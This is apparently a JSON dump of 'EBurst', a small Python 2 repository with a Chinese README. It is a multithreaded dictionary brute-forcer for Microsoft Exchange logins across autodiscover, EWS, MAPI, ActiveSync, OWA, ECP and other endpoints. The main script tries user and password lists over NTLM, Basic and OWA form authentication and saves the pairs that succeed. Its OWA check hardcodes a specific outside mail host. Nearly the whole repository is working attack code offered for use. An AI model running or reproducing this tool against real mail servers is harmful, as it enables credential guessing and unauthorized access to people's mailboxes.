[
  {
    "path": ".gitattributes",
    "content": "*.yar linguist-language=python\n"
  },
  {
    "path": "EBurst.py",
    "content": "# -*- coding: utf-8 -*-\nimport urllib2, requests, optparse, time, threading, Queue, sys, certifi\nfrom base64 import encodestring\nfrom requests_ntlm import HttpNtlmAuth\nfrom lib.consle_width import getTerminalSize\n\n\nclass Check_Exchange_User:\n    def __init__(self, domain, type=None, protocol=None, user=None, userfile=None, password=None, passfile=None,\n                 thread=10):\n        self.domain, self.user, self.userfile, self.password, self.passfile, self.thread = domain, user, userfile, password, passfile, thread\n        self.URL = {\n            \"autodiscover\":\n                {\"url\": \"%s://%s/autodiscover\" % (\"http\" if protocol == \"http\" else \"https\", domain), \"mode\": \"NTLM\"},\n            \"ews\":\n                {\"url\": \"%s://%s/ews\" % (\"http\" if protocol == \"http\" else \"https\", domain), \"mode\": \"NTLM\"},\n            \"mapi\":\n                {\"url\": \"%s://%s/mapi\" % (\"http\" if protocol == \"http\" else \"https\", domain), \"mode\": \"NTLM\"},\n            \"activesync\":\n                {\"url\": \"%s://%s/Microsoft-Server-ActiveSync\" % (\"http\" if protocol == \"http\" else \"https\", domain),\n                 \"mode\": \"Basic\"},\n            \"oab\":\n                {\"url\": \"%s://%s/oab\" % (\"http\" if protocol == \"http\" else \"https\", domain), \"mode\": \"NTLM\"},\n            \"rpc\":\n                {\"url\": \"%s://%s/rpc\" % (\"http\" if protocol == \"http\" else \"https\", domain), \"mode\": \"NTLM\"},\n            \"api\":\n                {\"url\": \"%s://%s/api\" % (\"http\" if protocol == \"http\" else \"https\", domain), \"mode\": \"NTLM\"},\n            \"owa\":\n                {\"url\": \"%s://%s/owa/auth.owa\" % (\"http\" if protocol == \"http\" else \"https\", domain), \"mode\": \"HTTP\"},\n            \"powershell\":\n                {\"url\": \"%s://%s/powershell\" % (\"http\" if protocol == \"http\" else \"https\", domain), \"mode\": \"Kerberos\"},\n            \"ecp\":\n                {\"url\": \"%s://%s/owa/auth.owa\" % (\"http\" if protocol == \"http\" else \"https\", domain), \"mode\": \"HTTP\"}\n        }\n        self.HEADERS = {\n            \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:69.0) Gecko/20100101 Firefox/69.0\",\n            \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n            \"Accept-Language\": \"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\",\n            \"Accept-Encoding\": \"gzip, deflate\",\n            \"Connection\": \"close\",\n            \"Upgrade-Insecure-Requests\": \"1\",\n        }\n        if not user and not userfile:\n            return\n\n        self.ReqInfo = self.URL[type]\n        self.users = []\n\n        # 多线程框架\n        self.thread_count = 0\n        self.scan_count = self.found_count = 0\n        self.lock = threading.Lock()\n        self.console_width = getTerminalSize()[0] - 2\n        self.msg_queue = Queue.Queue()\n        self.STOP_ME = False\n        threading.Thread(target=self._print_msg).start()\n        # 导入字段用户\n        self._load_dict()\n        # 结果存储\n        outfile = domain + '.txt'\n        self.outfile = open(outfile, 'w')\n\n    # NTLM认证验证\n    def check_NTLM_userpass(self, user, password, url):\n        try:\n            response = requests.get(url, auth=HttpNtlmAuth(user, password), headers=self.HEADERS)\n            if 401 != response.status_code and 408 != response.status_code and 504 != response.status_code:\n                return True\n            else:\n                return False\n\n        except:\n            return False\n\n    # Basic认证验证\n    def check_Basic_userpass(self, user, password, url):\n        try:\n            HEADERS = self.HEADERS\n            HEADERS[\"Authorization\"] = \"Basic %s\" % encodestring('%s:%s' % (user, password))[:-1]\n            request = requests.session()\n            request.keep_alive = False\n            response = request.get(url, headers=HEADERS)\n            if 401 != response.status_code and 408 != response.status_code and 504 != response.status_code:\n                return True\n            else:\n                return False\n        except:\n            return False\n\n    # http认证验证\n    def check_HTTP_userpass(self, user, password, url, type=\"ecp\"):\n        try:\n            if type == \"owa\":\n                urldata = \"https://mail.netone.co.zw/owa/\"\n            else:\n                urldata = \"https://mail.netone.co.zw/cep/\"\n            HEADERS = self.HEADERS\n            HEADERS[\"Cache-Control\"] = \"max-age=0\"\n            HEADERS[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n            HEADERS[\n                \"Referer\"] = \"https://\" + self.domain + \"/owa/auth/logon.aspx?replaceCurrent=1&url=\" + urldata\n            HEADERS[\"Cookie\"] = \"PrivateComputer=true; PBack=0\"\n\n            data = {\n                \"destination\": urldata,\n                \"flags\": \"4\",\n                \"forcedownlevel\": \"0\",\n                \"username\": user,\n                \"password\": password,\n                \"passwordText\": \"\",\n                \"isUtf8\": \"1\"\n            }\n            request = requests.session()\n            request.keep_alive = False\n            response = request.post(url, data=data, headers=HEADERS, allow_redirects=False)\n            if \"Location\" not in response.headers:\n                return False\n            if \"reason\" not in response.headers[\"Location\"]:\n                return True\n            else:\n                return False\n        except:\n            return False\n\n\n    # 爆破exchange接口\n    def check_Exchange_Interfac(self, user, password):\n        url, mode = self.ReqInfo[\"url\"], self.ReqInfo[\"mode\"]\n        if mode == \"NTLM\":\n            if self.check_NTLM_userpass(user, password, url):\n                return True\n        elif mode == \"Basic\":\n            if self.check_Basic_userpass(user, password, url):\n                return True\n        elif mode == \"HTTP\":\n            type = \"owa\" if \"/owa\" in self.ReqInfo['url'] else \"ecp\"\n            if self.check_HTTP_userpass(user, password, url, type=type):\n                return True\n\n\n    # 导入爆破字典字典\n    def _load_dict(self):\n        self.msg_queue.put('[+] Initializing, load user pass...')\n        self.queue = Queue.Queue()\n        userdict, passdict = [], []\n\n        if self.userfile:\n            with open(self.userfile) as f:\n                for line in f:\n                    userdict.append(line.strip())\n        else:\n            userdict.append(self.user.strip())\n\n        if self.password:\n            passdict.append(self.password.strip())\n        else:\n            with open(self.passfile) as f:\n                for line in f:\n                    passdict.append(line.strip())\n\n        for user in userdict:\n            for passwd in passdict:\n                dic = {\"user\": user, \"passwd\": passwd}\n                self.queue.put(dic)\n\n        sys.stdout.write('\\n')\n        self.msg_queue.put('[+] Found dict infos %s/%s in total' % (len(userdict), len(passdict)))\n\n\n    def _print_msg(self):\n        while not self.STOP_ME:\n            try:\n                _msg = self.msg_queue.get(timeout=0.1)\n            except:\n                continue\n\n            if _msg == 'status':\n                msg = '%s Found| %s groups| %s scanned in %.1f seconds| %s threads' % (\n                    self.found_count, self.queue.qsize(), self.scan_count, time.time() - self.start_time,\n                    self.thread_count)\n                sys.stdout.write('\\r' + ' ' * (self.console_width - len(msg)) + msg)\n            elif _msg.startswith('[+] Check user pass Info'):\n                sys.stdout.write('\\r' + _msg + ' ' * (self.console_width - len(_msg)))\n            else:\n                sys.stdout.write('\\r' + _msg + ' ' * (self.console_width - len(_msg)) + '\\n')\n            sys.stdout.flush()\n\n\n    def _update_scan_count(self):\n        self.last_scanned = time.time()\n        self.scan_count += 1\n\n\n    def _update_found_count(self):\n        self.found_count += 1\n\n\n    # 验证接口有效性，判断是否存在接口爆破的可能\n    def check_interfac_availab(self):\n        for (k, v) in self.URL.items():\n            url = v[\"url\"]\n            request = requests.session()\n            request.keep_alive = False\n            try:\n                response = request.get(url, headers=self.HEADERS, allow_redirects=False)\n                if 404 != response.status_code and 301 != response.status_code and 302 != response.status_code and 403 != response.status_code:\n                    print u\"URL: %s ,code:%s\" % (url, response.status_code) + u\"\\t有效可以爆破\"\n                else:\n                    print u\"URL: %s ,code:%s\" % (url, response.status_code) + u\"\\t失败无法爆破\"\n            except:\n                print \"URL: %s ,Fail\"\n\n\n    # 检测接口认证方式开通了哪些，并替换为已开通的方式\n    def check_url_authenticate(self):\n        self.msg_queue.put('[+] Find target url authenticate method ...')\n        url = self.ReqInfo[\"url\"]\n        mode = self.ReqInfo[\"mode\"]\n        if mode == \"HTTP\":\n            return True\n\n        request = requests.session()\n        request.keep_alive = False\n        response = request.get(url, headers=self.HEADERS)\n        authenticate_type = response.headers[\"WWW-Authenticate\"]\n        # 认证方式不为默认类型，则替换为支持的类型\n        if mode not in authenticate_type:\n            if \"NTLM\" in authenticate_type:\n                self.ReqInfo[\"mode\"] = \"NTLM\"\n            elif \"Basic\" in authenticate_type:\n                self.ReqInfo[\"mode\"] = \"Basic\"\n            else:\n                return False\n        return True\n\n\n    # 开始多线程扫描\n    def _scan(self):\n        self.lock.acquire()\n        self.thread_count += 1\n        self.lock.release()\n        while not self.STOP_ME:\n            try:\n                lst_info = self.queue.get(timeout=0.1)\n            except Queue.Empty:\n                break\n\n            while not self.STOP_ME:\n                self._update_scan_count()\n                self.msg_queue.put('status')\n                if self.check_Exchange_Interfac(lst_info[\"user\"], lst_info[\"passwd\"]):\n                    self._update_found_count()\n                    msg = (\"success user: %s ，password: %s\" % (lst_info[\"user\"], lst_info[\"passwd\"])).ljust(30)\n                    self.msg_queue.put(msg)\n                    self.msg_queue.put('status')\n                    self.outfile.write(msg + '\\n')\n                    self.outfile.flush()\n                break\n\n        self.lock.acquire()\n        self.thread_count -= 1\n        self.lock.release()\n        self.msg_queue.put('status')\n\n\n    def run(self):\n        # 验证url的认证类型\n        if not self.check_url_authenticate():\n            self.msg_queue.put('[+] Unsupport authentication method, system return')\n            return\n\n        self.msg_queue.put('[+] start scan ...')\n        self.start_time = time.time()\n        for i in range(self.thread):\n            try:\n                t = threading.Thread(target=self._scan, name=str(i))\n                t.setDaemon(True)\n                t.start()\n            except:\n                pass\n        while self.thread_count > 0:\n            try:\n                time.sleep(1.0)\n            except KeyboardInterrupt, e:\n                msg = '[WARNING] User aborted, wait all slave threads to exit...'\n                sys.stdout.write('\\r' + msg + ' ' * (self.console_width - len(msg)) + '\\n\\r')\n                sys.stdout.flush()\n                self.STOP_ME = True\n        self.STOP_ME = True\n\n\nif __name__ == '__main__':\n    parser = optparse.OptionParser()\n\n    parser.add_option(\"-d\", dest=\"domain\", help=u\"邮箱地址\")\n    parser.add_option(\"-L\", dest=\"userfile\", help=u\"用户文件\")\n    parser.add_option(\"-P\", dest=\"passfile\", help=u\"密码文件\")\n    parser.add_option(\"-l\", dest=\"user\", help=u\"指定用户名\")\n    parser.add_option(\"-p\", dest=\"password\", help=u\"指定密码\")\n    parser.add_option(\"-T\", \"--t\", dest=\"thread\", type=\"int\", default=100, help=u\"线程数量，默认为100\")\n    parser.add_option(\"-C\", \"--c\", dest=\"check\", default=False, action='store_true', help=u\"验证各接口是否存在爆破的可能性\")\n    parser.add_option(\"--protocol\", dest=\"protocol\", action='store_true', help=u\"通讯协议默认https，demo: --protocol http\")\n\n    group = optparse.OptionGroup(parser, \"type\", u\"EBurst 扫描所用的接口\")\n    group.add_option(\"--autodiscover\", dest=\"autodiscover\", default=True, action='store_true',\n                     help=u\"autodiscover接口，默认NTLM认证方式，自Exchange Server 2007开始推出的一项自动服务，用于自动配置用户在Outlook中邮箱的相关设置，简化用户登陆使用邮箱的流程。\")\n    group.add_option(\"--ews\", dest=\"ews\", default=False, action='store_true',\n                     help=u\"ews接口，默认NTLM认证方式，Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互\")\n    group.add_option(\"--mapi\", dest=\"mapi\", default=False, action='store_true',\n                     help=u\"mapi接口，默认NTLM认证方式，Outlook连接Exchange的默认方式，在2013和2013之后开始使用，2010 sp2同样支持\")\n    group.add_option(\"--activesync\", dest=\"activesync\", default=False, action='store_true',\n                     help=u\"activesync接口，默认Basic认证方式，用于移动应用程序访问电子邮件\")\n    group.add_option(\"--oab\", dest=\"oab\", default=False, action='store_true',\n                     help=u\"oab接口，默认NTLM认证方式，用于为Outlook客户端提供地址簿的副本，减轻Exchange的负担\")\n    group.add_option(\"--rpc\", dest=\"rpc\", default=False, action='store_true',\n                     help=u\"rpc接口，默认NTLM认证方式，早期的Outlook还使用称为Outlook Anywhere的RPC交互\")\n    group.add_option(\"--api\", dest=\"api\", default=False, action='store_true', help=u\"api接口，默认NTLM认证方式\")\n    group.add_option(\"--owa\", dest=\"owa\", default=False, action='store_true',\n                     help=u\"owa接口，默认http认证方式，Exchange owa 接口，用于通过web应用程序访问邮件、日历、任务和联系人等\")\n    group.add_option(\"--powershell\", dest=\"powershell\", default=False, action='store_true',\n                     help=u\"powershell接口（暂不支持），默认Kerberos认证方式，用于服务器管理的Exchange管理控制台\")\n    group.add_option(\"--ecp\", dest=\"ecp\", default=False, action='store_true',\n                     help=u\"ecp接口，默认http认证方式，Exchange管理中心，管理员用于管理组织中的Exchange的Web控制台\")\n    parser.add_option_group(group)\n\n    options, _ = parser.parse_args()\n\n    if (options.userfile or options.user) and (options.passfile or options.password) and (options.domain):\n        type = \"autodiscover\"\n        if options.ews:\n            type = \"ews\"\n        elif options.mapi:\n            type = \"mapi\"\n        elif options.activesync:\n            type = \"activesync\"\n        elif options.oab:\n            type = \"oab\"\n        elif options.rpc:\n            type = \"rpc\"\n        elif options.api:\n            type = \"api\"\n        elif options.owa:\n            type = \"owa\"\n        elif options.powershell:\n            type = \"powershell\"\n        elif options.ecp:\n            type = \"ecp\"\n\n        scan = Check_Exchange_User(options.domain,\n                                   type,\n                                   options.protocol,\n                                   options.user,\n                                   options.userfile,\n                                   options.password,\n                                   options.passfile,\n                                   options.thread)\n        scan.run()\n        scan.outfile.flush()\n        scan.outfile.close()\n    elif options.check and options.domain:\n        Check_Exchange_User(options.domain).check_interfac_availab()\n    else:\n        parser.print_help()\n"
  },
  {
    "path": "README.md",
    "content": "# EBurst 0.1\n\n这个脚本主要提供对Exchange邮件服务器的账户爆破功能，集成了现有主流接口的爆破方式。\n搜了一圈互联网上的工具，未发现太优秀的工具，也和本身的需求不是太贴切，故抽时间写了个半自动化的脚本。\n\n## 作者 ##\n\n咚咚呛 \n\n如有其他建议，可联系微信280495355\n\n## 技术细节 ##\n技术细节如下\n\n\t1、支持多线程爆破\n\t2、支持字典爆破\n\t3、支持爆破漏洞验证功能\n\t4、支持接口认证方式识别并自动切换功能\n\t5、支持爆破的接口如下：\n\t    https://Exchangeserver/ecp\n            https://Exchangeserver/ews\n            https://Exchangeserver/oab\n            https://Exchangeserver/owa\n            https://Exchangeserver/rpc\n            https://Exchangeserver/api\n            https://Exchangeserver/mapi\n            https://Exchangeserver/powershell\n\t    \thttps://Exchangeserver/autodiscover\n\t    \thttps://Exchangeserver/Microsoft-Server-ActiveSync\n\t    \n    \n\n## 使用 ##\n技术细节如下\n\n程序下载\n\n> root# <kbd>git clone https://github.com/grayddq/EBurst.git</kbd>\n>\n> root# <kbd>cd EBurst</kbd>\n>\n> root# <kbd>sudo pip install -r requirements.txt</kbd>\n\n参数参考\n     \n>      [root@grayddq  EBurst]# ls\n>      EBurst.py  lib  pic  README.md  requirements.txt\n>      \n>      [root@grayddq  EBurst]# python EBurst.py \n>      Usage: EBurst.py [options]\n>      \n>      Options:\n>        -h, --help            show this help message and exit\n>        -d DOMAIN             邮箱地址\n>        -L USERFILE           用户文件\n>        -P PASSFILE           密码文件\n>        -l USER               指定用户名\n>        -p PASSWORD           指定密码\n>        -T THREAD, --t=THREAD\n>                              线程数量，默认为100\n>        -C, --c               验证各接口是否存在爆破的可能性\n>        --protocol            通讯协议默认https，可无需指定，demo: --protocol http\n>      \n>        type:\n>          EBurst 扫描所用的接口\n>      \n>          --autodiscover      autodiscover接口，默认NTLM认证方式，自Exchange Server 2007开始推出的一项\n>                              自动服务，用于自动配置用户在Outlook中邮箱的相关设置，简化用户登陆使用邮箱的流程。\n>          --ews               ews接口，默认NTLM认证方式，Exchange Web\n>                              Service,实现客户端与服务端之间基于HTTP的SOAP交互\n>          --mapi              mapi接口，默认NTLM认证方式，Outlook连接Exchange的默认方式，在2013和2013之后开\n>                              始使用，2010 sp2同样支持\n>          --activesync        activesync接口，默认Basic认证方式，用于移动应用程序访问电子邮件\n>          --oab               oab接口，默认NTLM认证方式，用于为Outlook客户端提供地址簿的副本，减轻Exchange的负担\n>          --rpc               rpc接口，默认NTLM认证方式，早期的Outlook还使用称为Outlook Anywhere的RPC交互\n>          --api               api接口，默认NTLM认证方式\n>          --owa               owa接口，默认http认证方式，Exchange owa\n>                              接口，用于通过web应用程序访问邮件、日历、任务和联系人等\n>          --powershell        powershell接口（暂不支持），默认Kerberos认证方式，用于服务器管理的Exchange管理控制\n>                              台\n>          --ecp               ecp接口，默认http认证方式，Exchange管理中心，管理员用于管理组织中的Exchange的Web控\n>                              制台\n>      \n>      [root@grayddq  EBurst]# python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com\n>      \n>      [root@grayddq  EBurst]# python EBurst.py -L users.txt -p 123456abc -d mail.xxx.com --ews\n\n\n\n## 程序运行截图 ##\n\n![Screenshot](pic/111.png)\n\n![Screenshot](pic/222.png)\n\n\n备注：其中多线程框架代码参考了lijiejie开源的代码，在此感谢。\n"
  },
  {
    "path": "lib/__init__.py",
    "content": ""
  },
  {
    "path": "lib/consle_width.py",
    "content": "\"\"\" getTerminalSize()\n - get width and height of console\n - works on linux,os x,windows,cygwin(windows)\n\"\"\"\n\n__all__=['getTerminalSize']\n\n\ndef getTerminalSize():\n   import platform\n   current_os = platform.system()\n   tuple_xy=None\n   if current_os == 'Windows':\n       tuple_xy = _getTerminalSize_windows()\n       if tuple_xy is None:\n          tuple_xy = _getTerminalSize_tput()\n          # needed for window's python in cygwin's xterm!\n   if current_os == 'Linux' or current_os == 'Darwin' or  current_os.startswith('CYGWIN'):\n       tuple_xy = _getTerminalSize_linux()\n   if tuple_xy is None:\n       print \"default\"\n       tuple_xy = (80, 25)      # default value\n   return tuple_xy\n\ndef _getTerminalSize_windows():\n    res=None\n    try:\n        from ctypes import windll, create_string_buffer\n\n        # stdin handle is -10\n        # stdout handle is -11\n        # stderr handle is -12\n\n        h = windll.kernel32.GetStdHandle(-12)\n        csbi = create_string_buffer(22)\n        res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)\n    except:\n        return None\n    if res:\n        import struct\n        (bufx, bufy, curx, cury, wattr,\n         left, top, right, bottom, maxx, maxy) = struct.unpack(\"hhhhHhhhhhh\", csbi.raw)\n        sizex = right - left + 1\n        sizey = bottom - top + 1\n        return sizex, sizey\n    else:\n        return None\n\ndef _getTerminalSize_tput():\n    # get terminal width\n    # src: http://stackoverflow.com/questions/263890/how-do-i-find-the-width-height-of-a-terminal-window\n    try:\n       import subprocess\n       proc=subprocess.Popen([\"tput\", \"cols\"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)\n       output=proc.communicate(input=None)\n       cols=int(output[0])\n       proc=subprocess.Popen([\"tput\", \"lines\"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)\n       output=proc.communicate(input=None)\n       rows=int(output[0])\n       return (cols,rows)\n    except:\n       return None\n\n\ndef _getTerminalSize_linux():\n    def ioctl_GWINSZ(fd):\n        try:\n            import fcntl, termios, struct, os\n            cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,'1234'))\n        except:\n            return None\n        return cr\n    cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)\n    if not cr:\n        try:\n            fd = os.open(os.ctermid(), os.O_RDONLY)\n            cr = ioctl_GWINSZ(fd)\n            os.close(fd)\n        except:\n            pass\n    if not cr:\n        try:\n            cr = (env['LINES'], env['COLUMNS'])\n        except:\n            return None\n    return int(cr[1]), int(cr[0])\n\nif __name__ == \"__main__\":\n    sizex,sizey=getTerminalSize()\n    print  'width =',sizex,'height =',sizey"
  },
  {
    "path": "requirements.txt",
    "content": "requests_ntlm==1.1.0\nrequests==2.18.4\n"
  }
]